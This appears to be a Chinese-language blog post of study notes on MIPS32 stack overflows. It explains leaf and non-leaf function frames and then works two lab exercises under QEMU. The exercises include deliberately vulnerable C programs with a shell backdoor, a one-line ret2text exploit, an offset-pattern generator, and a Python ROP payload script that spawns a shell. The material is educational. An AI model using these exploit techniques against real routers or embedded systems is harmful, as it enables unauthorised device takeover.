前言
上周,花了一周多一點的時間來學了一些Linux kernel pwn入門,主要是學了Wiki上面的四個利用姿勢;具體可以看我的前幾篇博客。然后的話,接下來會入門路由器的棧溢出。因為是初學,所以也會盡可能地詳細地記錄。
MIPS32架構堆棧
有關MIPS匯編的一些基礎知識,可以參考以下我的這一篇博文
在計算機科學中,棧是一種具有先進后出隊列特性的數據結構。調用棧是指存放某個程序正在運行的函數的信息的棧。調用棧由棧幀組成,每個棧幀對應一個未完成的函數。
而MIPS32架構的堆棧與傳統PC的架構復雜指令系統不同,大多數采用Linux嵌入式操作系統的路由器采用的是MIPS指令系統,該指令系統屬於精簡指令系統。MIPS32架構的函數調用與x86架構有很大的差別,具體有以下幾個方面:
- 棧操作:MIPS32架構堆棧與X86的一樣,都是向低地址增長的。但是在MIPS32架構中沒有EBP,進入一個函數時,需要將當前棧指針向下移動n比特,這個大小為n比特的存儲空間就是此函數的棧。此后,棧指針便不再移動,只能在函數返回時將棧指針加上這個偏移量恢復棧現場。由於不能隨便移動棧指針,所以寄存器壓棧和出棧都必須制定偏移量。
- 調用:如果函數A調用函數B,調用者函數會在自己的棧定預留一部分空間來保存被調用者的參數,我們稱之為調用參數空間。
- 參數傳遞方式:前四個傳入的參數通過a0-a3傳遞。有些函數的參數可能會超過四個,此時多余的參數會被放入到調用參數空間。x86架構下的所有參數都是通過堆棧傳遞的。
- 返回地址:在x86架構中,使用call指令調用函數時,會先將當前執行位置壓入堆棧。MIPS的調用指令把返回地址直接存入RA寄存器而不是堆棧中。
函數調用
在MIPS32架構中,函數被分為兩種即葉子函數和非葉子函數。MIPS函數的調用過程與x86的不同。在x86的體系結構下,函數A調用函數B,總是先將函數A的地址壓入棧中,在函數B執行完畢返回A函數時,再從堆棧中彈出返回函數A的地址,然后返回A繼續執行。而在MIPS架構下,葉子函數的返回地址是直接放在 ra 寄存器中,而非葉子函數需要調用另外的函數,這里的差異就造成了非葉子函數需要把當前的返回地址暫時存放在棧上。
舉個栗子:
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
}
}
編譯鏈接,查看匯編代碼:
sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static -o ~/no_leaf
然后拉進ida查看
可以看到,在我們進入main函數的時候,並沒有對RA寄存器進行任何操作,而當我們退出main函數的時候,是直接jr 到我們$ra寄存器存放的地址;這就是葉子函數調用時的棧布局。
下面稍作調整:
int main(){
int i;
int sum = 0;
for(i=0;i<5;i++){
sum = sum +i;
printf("sum = %d",sum);
}
}
同上編譯鏈接:
sudo ./buildroot/output/host/bin/mipsel-linux-gcc ~/leaf.c -static -o ~/leaf
拉進ida查看:
可以看到,在我們進入main函數的棧之后,我們先把$ra寄存器的值存放到了我們的0x28+var_4($sp)這個棧空間,然后在我們退出main函數的棧時,先是把我們的0x28+var_4($sp)棧地址的值賦值給我們的$ra寄存器,然后再jr到對應地址。
所以,對於非葉子函數來說,如果存在局部變量溢出,就可能導致堆棧上的返回地址被覆蓋,從而控制執行流。因此這種情況下緩沖區溢出是可以被利用的。但是對於葉子函數來說,它的返回地址是沒有放置在棧上,所以我們無法修改對應的返回地址。但是這不意味者葉子函數的緩沖區溢出就完全無法利用。如果緩沖區溢出覆蓋的區域足夠大,我們是有可能覆蓋到上一層調用該函數的函數的返回地址的。所以,當非葉子函數中存在緩沖區溢出漏洞時,程序上的執行流程也是存在被劫持的可能性的。
因此,在MIPS32的體系中,棧溢出利用仍然是可行的。
一道簡單的例題(ret2text)
代碼
#include<stdio.h>
#include <stdlib.h>
#include <string.h>
void backdoor(){
system("/bin/sh");
}
void has_stack(char *src)
{
char dst[20]={0};
strcpy(dst,src);
printf("copy successfully");
}
void main(int argc,char *argv[])
{
has_stack(argv[1]);
}
編譯鏈接
./buildroot/output/host/bin/mipsel-linux-gcc ~/stack.c -static -o ~/stack
GDB調試:
先掛起:
qemu-mipsel -g 1234 ./stack aaaaaaaaaaaaaaaaaaaa
然后gdb連接調試:
gdb-multiarch ./stack
然后再在gdb里面
target remote:1234
gdb連接起來后,在我們的strcpy之后下個斷點:
然后查看此時棧的情況:
所以,由上圖可以算出覆蓋到返回地址的地址偏移。
劫持程序流
最后利用:
qemu-mipsel stack `python -c "print 'a'*28+'\x90\x03\x40\x00'"`
成功get到我們的shell!!!
棧的布局,可以看看這幅圖:
棧的生長方向為低地址向高地址,緩沖區溢出時就向 main 函數的區域溢出,控制程序流也就需要溢出到原來的RA寄存器處的棧空間
ROP
采坑一
這里講一下環境的安裝吧,這里的環境又搞了我好久。。。。
首先,我們需要ROP鏈,就需要找gadget。
而在MIPS架構中,一般是利用ida中的插件mipsrop。
但是這個mipsrop插件有兩個版本,一個是只支持ida 6.7以下版本的;一個是支持ida 7.0版本的。
昨晚的時候先是在ubantu安裝了wine,然后在ubantu模擬運行了Windows版本的ida 6.8,發現里面的py腳本無效,后來就在ubantu中利用wine模擬運行ida7.0,然后發現缺少很多Windows下的dll文件,然后就在我的Windows復制過去,但是還是不成功,壓根無法運行起來。
最后是安裝了ubantu版本的ida,然后用了第一個版本的插件,才成功了。主要是參考了這篇文章。
舉個栗子
這里主要是以路由器0day里面的那道題為例:
#include<stdio.h>
#include<sys/stat.h>
#include<unistd.h>
void do_system(int code,char *cmd)
{
char buf[255];
system(cmd);
}
void main()
{
char buf[256]={0};
char ch;
int count=0;
unsigned int filelen=0;
struct stat fileData;
FILE *fp;
if(0==stat("passwd",&fileData))
{
filelen=fileData.st_size;
}
else
{
return 1;
}
if((fp=fopen("passwd","rb"))==NULL)
{
printf("cannot open file passwd!\n");
}
ch=fgetc(fp);
while(count<=filelen)
{
buf[count++]=ch;
ch=fgetc(fp);
}
buf[--count]='\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else{
printf("you have an invalid password!\n");
}
fclose(fp);
}
題目的漏洞比較明顯,我們的main函數中buf存在溢出條件,而且main函數還是非葉子函數,所以我們可以利用覆蓋棧中的返回地址(保存的RA寄存器)。
計算偏移
首先需要查看我們覆蓋的buf距離我們棧中返回地址的偏移。我這里是利用了書本給的腳本生成我們的測試文件(其實這個挺隨意的,主要生成的字符串保證不重復即可)
import sys
import time
a ='ABCDEFGHIJKLMNOPQRSTUVWXYZ'
b ='abcdefghijklmnopqrstuvwxyz'
c ='0123456789'
def generate(count,output):
codestr=''
for i in range(0,count):
codestr += a[i/(26*10)] + b[(i%(26*10))/10] + c[i%(26*10)%10]
print(codestr)
print 'ok!'
if output:
print ('[+] output to %s'%output)
fw = open(output,'w')
fw.write(codestr)
fw.close()
print 'ok!'
else:
return codestr
print "it is ok!"
generate(600,'passwd')
生成我們的測試文件passwd,然后我們利用ida遠程調試;
先掛起
qemu-mipsel -g 1234 ./vunl_system
然后利用我們的ida遠程鏈接,f9讓其跑,最后發現:
PC寄存器被我們引到0x6e41376e處,也就是字符串"n7An"(我安裝的是小端序),所以我們可以利用ubantu自帶的LibreOffice查找偏移:
查找gadget
這里我利用的是上面說到的mipsrop,ida中的一個插件。
發現這個gadget符合我們的要求,因為我們的do_system的第一個參數(對應於a0)對我們並沒有關系,我們只需要劫持我們的第二個參數(a1)為我們的"/sh"等get shell參數即可。
所以,我們只需要在我們的sp+0x18的位置構造我們的get shell參數,在我們的sp+0x54的地方構造我們的do_system函數的地址即可。
這里說一個自己踩的坑吧。我們的ROP鏈是在main函數返回上一層才會被觸發的,當運行到我們的ROP鏈時,這時候main的棧已經被回收了。
攻擊腳本
import struct
print '[*] prepare shellcode'
cmd='sh' #command string
cmd+="\x00"*(4-len(cmd)) #align by 4 bytes
# shellcode
shellcode="A"*412 #padding buf
shellcode+=struct.pack("<L",0x00401f70)#mine is little-endian here
shellcode+="A"*24
shellcode+=cmd
shellcode+="B"*(0x3c-len(cmd))
shellcode+=struct.pack("<L",0x00400390)
shellcode+="BBBB"
print 'ok!'
fw=open('passwd','w')
fw.write(shellcode)
fw.close()
print 'ok!'
成功get shell
總結
這個本就應該在周五晚上被解決的問題,硬生生拖到了周日早上才解決。真的要反思以下自己的效率問題。。。
本博文屬於博主在MIPS架構棧的初探,接下來會繼續深入。不過應該要在幾天后,要學一下數據庫了,要不真的掛科了。。。而且打算去了解以下內核的文件系統的內容,因為之前做kernel pwn入門的時候,對於fop等一些內容了解得不夠清晰,想去深入探究一下。
參考
https://www.anquanke.com/post/id/169689(H4lo大佬)
https://xz.aliyun.com/t/6808#toc-11